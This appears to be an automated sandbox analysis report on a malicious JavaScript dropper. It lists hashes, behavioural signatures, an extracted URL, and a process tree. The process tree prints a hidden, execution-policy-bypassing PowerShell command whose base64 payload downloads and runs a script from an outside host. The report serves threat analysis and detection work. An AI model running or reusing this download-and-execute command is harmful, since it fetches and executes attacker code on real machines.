Analysis
-
max time kernel
143s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
04-02-2024 07:12
Static task
static1
Behavioral task
behavioral1
Sample
8e888435ca116690085c31ea0b437f68.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
8e888435ca116690085c31ea0b437f68.js
Resource
win10v2004-20231215-en
General
-
Target
8e888435ca116690085c31ea0b437f68.js
-
Size
74KB
-
MD5
8e888435ca116690085c31ea0b437f68
-
SHA1
c77e72595ffbcb5d5ebb2182840923435cbcc185
-
SHA256
8e687852c62a064c2ca93dd2892c0f960c896a578ab3132ef98a0f3863c1d29e
-
SHA512
fdc92de49bf5c2a0f794996fbcc98f40b82ff0daff09f7b0bc8f6f869692ecb0d047df2bd5969772929b528e5d7eb8e024a4ab6a7ca54be52ae05152d5c70e1c
-
SSDEEP
1536:LvQRpKlH9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzG:sRpKlH9Ry98guHVBqqg2bcruzUHmLKee
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 15 3544 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3544 powershell.exe 3544 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3544 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4148 wrote to memory of 3548 4148 wscript.exe 84 PID 4148 wrote to memory of 3548 4148 wscript.exe 84 PID 3548 wrote to memory of 3544 3548 cmd.exe 86 PID 3548 wrote to memory of 3544 3548 cmd.exe 86
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\8e888435ca116690085c31ea0b437f68.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3544
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82